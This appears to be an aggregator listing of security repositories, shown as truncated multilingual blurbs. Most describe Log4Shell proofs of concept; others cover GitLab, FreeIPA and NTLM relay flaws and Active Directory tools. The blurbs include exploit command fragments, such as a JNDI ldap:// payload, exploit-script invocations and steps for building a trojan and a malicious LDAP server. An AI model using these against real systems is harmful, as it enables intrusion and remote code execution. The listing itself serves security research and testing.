OneLogicalMyth_Shell

OneLogicalMythShell このHTAシェルは、ブレイクアウトアセスメントを支援するために作成されました。1年以上前に最初に作成したもので、他の人にも役立つかもしれないと思い、公開することにしました。プルリクエストはいつでも歓迎します。 機能 ファイルエクスプローラー ドライブの一覧表示 - ホスト上のすべてのローカルドライブを一覧表示します。ドライブ文字をクリックすると、フォルダーやファイルのナビゲーションを開始できます。 フォルダーの一覧表示 - 上部の入力ボックスにフォルダーパスを入力し、このボタンをクリックすると、その場所からナビゲーションを開始します。...

CVE-2025-4404-POC

CVE-2025-4404 POC PoC für CVE-2025-4404 Wenn Sie ein Domänencomputer-Konto host/[email protected] haben, können Sie standardmäßig den Dienst hinzufügen. Und Sie können krbPrincipalName und krbCanonicalName festlegen. Standardmäßig fehlt der krbCanonicalName-Attributwert für das FreeIPA...

test-44228

test-44228 Ein einfaches Beispiel für CVE-2021-44228 Implementiert zwei Java-CLIs, einer verwendet log4j v1.x, der andere log4j 2.x, um die log4shell-Schwachstelle zu demonstrieren. Siehe auch: https://www.lunasec.io/docs/blog/log4j-zero-day/...

CVE-2021-44228

Log4Shell POC CVE-2021-44228 O objetivo deste repositório é fornecer todos os componentes necessários para explorar o CVE-2021-44228, apelidado de Log4Shell, e mostrar como explorá-lo. Os ingredientes necessários para explorar esta vulnerabilidade são os seguintes: 1. Um Servidor LDAP que...

cve-2023-25194

Apache Druid CVE-2023-25194 CVE-2023-25194 é uma vulnerabilidade de desserialização que afeta o Apache Kafka. Este go-exploit demonstra a exploração de CVE-2023-25194 contra o Apache Druid usando Kafka. Esse tipo de ataque normalmente requer uma infraestrutura de atacante LDAP JNDI que geralmente...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있습니다. 최신 버전으로 업데이트하는 것을 권장합니다. Log4ShellCVE-2021-44228 관련 보안 권고/게시판 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있는 웹 서버를 시작하세요. root@kitploit: git clone...

CVE-2022-1162

CVE-2022-1162 تم تعيين كلمة مرور مضمّنة hardcoded للحسابات المسجلة باستخدام مزود OmniAuth مثل OAuth وLDAP وSAML في إصدارات GitLab CE/EE 14.7 قبل 14.7.7، و14.8 قبل 14.8.5، و14.9 قبل 14.9.2، مما قد يسمح للمهاجمين بالاستيلاء على الحسابات. الاستغلال: يمكن تسجيل الدخول إلى حسابات GitLab الجديدة التي ت...

ACLight

ACLight विशेषाधिकार प्राप्त खातों की उन्नत खोज के लिए एक उपकरण - जिसमें शैडो एडमिन शामिल हैं। ACLight2 इस उपकरण का बेहतर संस्करण है। शैडो एडमिन्स अनुसंधान यह उपकरण संस्करण 1 "शैडो एडमिन्स" अनुसंधान के भाग के रूप में प्रकाशित किया गया था - "शैडो एडमिन्स" पर अधिक विवरण ब्लॉग पोस्ट में हैं:...

CVE-2021-44228-demo

log4j-shell-poc إثبات مفهوم لثغرة CVE-2021-44228 المكتشفة مؤخرًا. مؤخرًا ظهرت ثغرة جديدة في log4j، وهي مكتبة تسجيل بلغة Java تُستخدم على نطاق واسع في تطبيقات مثل Elasticsearch وMinecraft وغيرها الكثير. يحتوي هذا المستودع على تطبيق هشّ كمثال واستغلال إثبات مفهوم POC له. إثبات المفهوم POC كإثبات...

Log4j-Rec-CVE-2021-44228

Notes de reproduction de Log4j2, à des fins d'apprentissage uniquement Référence https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce Créer un fichier exécutable root@kitploit: com/example/template javac Log4jRCE.java Démarrer le serveur HTTP intégré de Python root@kitploit:...

CVE-2021-44228-POC

CVE-2021-44228-POC Explorar CVE-2021-44228 baixar nuclei sudo cp nuclei /usr/bin/nuclei sudo chmod +x /usr/bin/nuclei git clone https://github.com/sec13b/CVE-2021-44228-POC.git mv CVE-2021-44228-POC log4shellexploit mkdir yaml mv .yaml yaml/ Executar: python3 log4shellexploit.py http://iptoexploi...

CVE-2021-44228

Prova-de-Conceito Log4Shell Este repositório é uma Prova-de-Conceito para a vulnerabilidade CVE-2021-44228. É derivado de Este Repositório. Neste repositório, fiz um exemplo de uma aplicação vulnerável e uma demonstração de como explorá-la. Componentes da Prova-de-Conceito Modifiquei o script...

Log4Shell-PoC

██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗ ██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║ ██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║ ██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║ ███████╗╚██████╔╝╚██████╔╝ ██║███████║██║...

CVE-2021-44228_Log4Shell

عرض توضيحي لاستغلال ثغرة Log4Shell CVE-2021-44228 يحاكي هذا المشروع سيناريو هجوم تنفيذ الأوامر عن بُعد RCE عبر ثغرة Log4Shell في مكتبة Apache Log4j 2. المكونات 1. vulnerable-app : تطبيق Spring Boot يستخدم Log4j 2.14.1. 2. attacker : يحتوي على خادم LDAP خبيث marshalsec وخادم HTTP يخدم ملف الشيفرة...

log4j-spring-vuln-poc

log4j Spring уязвимый POC Это POC для простого бэкенда на Spring Boot с Maven, включающий уязвимую версию log4j для CVE-2021-44228 Spring Boot загружен с https://start.spring.io. команды ./mvnw spring-boot:run: запуск сервера ./mvnw dependency:tree: вывод дерева зависимостей и проверка используем...

ldsview

ldsview Strumento di ricerca offline per dump di directory LDAP in formato LDIF. Funzionalità Parsing rapido ed efficiente in termini di memoria dei file LDIF Costruzione di comandi ldapsearch per estrarre un LDIF da una directory Mostra la struttura della directory Traduzione del formato UAC e d...

CVE-2024-38200

CVE-2024-38200 After The Patch Capturing the NTLMv2 hash over HTTP method was not fixed. The NTLMv2 hash value can still be obtained over HTTP and relayed to LDAP or ADCS. MSRC afirmou que esta situação é "como apresentado, parece fazer parte do design atual." Mesmo que esta vulnerabilidade seja...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

log4shell-test-exploit

CVE-2021-44228 log4shell 漏洞测试利用 准备工作 root@kitploit: 安装 Nodejs HTTP 服务器 npm -g i http-server 构建受害应用 cd victim-app mvn install 编译木马 cd test-trojan javac Trojan.java 构建 marshalsec（需要 Java 8） git clone [email protected]:mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests 构建...

log4j2-prosecutor

log4j2-prosecutor Motivação Esta vulnerabilidade fundamental foi relatada por CVE-2018-3149 e corrigida por este artigo. 8u121 Release Notes No entanto, a biblioteca de logging para java chamada log4j2 tinha JNDILookupCVE-2021-44228, que permitia acesso a protocolos como LDAP, o que permitia...